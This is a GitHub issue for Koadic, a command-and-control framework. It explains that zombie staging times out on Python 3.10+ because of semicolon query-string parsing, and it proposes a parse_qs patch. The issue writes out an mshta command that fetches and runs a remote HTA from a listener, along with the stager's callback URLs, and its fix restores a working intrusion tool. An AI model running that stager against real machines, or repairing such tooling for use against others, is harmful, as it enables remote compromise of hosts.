Skip to content

Zombie staging times out on Python 3.10+ due to semicolon query-string parsing #11

Description

@MichaelScuteri

Description

When running Koadic on a newer Python version (Python 3.10+), the mshta stager successfully connects to the listener and begins staging, but the zombie times out before becoming fully staged.

Example:

[+] Spawned a stager at http://192.168.41.130:9999/test
[>] mshta http://192.168.41.130:9999/test
[+] Zombie 0: Staging new connection (192.168.41.131) on Stager 0
[!] Zombie 0: Timed out.

Network captures show that the initial HTA is successfully retrieved and subsequent callbacks are made by the stager:

GET  /test

POST /test?1Q0C81BB22=395b1f996fca4e7c945e7262d9a1f322;MP4RD7Z3NI=;

GET  /test?1Q0C81BB22=395b1f996fca4e7c945e7262d9a1f322;MP4RD7Z3NI=;\\..\\..\\..\\./mshtml,RunHTMLApplication

The behaviour was reproduced on both Windows 10 and Windows 11 using Python 3.13.

Cause

core/handler.py parses the query string using:

self.get_params = parse_qs(splitted[1]) if len(splitted) > 1 else {}

Koadic's stager uses ; as the query parameter separator.

Since Python 3.10 urllib.parse.parse_qs() no longer treats both & and ; as query parameter separators by default. The default separator is now only &.

As a result, a query such as:

SESSION=value;JOB=;

is parsed as a single parameter rather than separate SESSION and JOB parameters.

This prevents the callback from being associated correctly with the existing session, and the zombie eventually reaches the timeout in core/extant.py.

Proposed fix

Explicitly specify Koadic's query-string separator and preserve empty values:

self.get_params = parse_qs(
    splitted[1],
    separator=';',
    keep_blank_values=True
) if len(splitted) > 1 else {}

The separator argument was introduced in Python 3.10, so this solution would not be compatible with older Python versions.

If compatibility with older Python versions is required, the query string could instead be normalized before passing it to parse_qs():

if len(splitted) > 1:
    query = splitted[1].replace(';', '&')
    self.get_params = parse_qs(query)
else:
    self.get_params = {}

This preserves Koadic's existing semicolon-separated query-string format while allowing parse_qs() to parse the parameters correctly on both older and newer Python versions.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions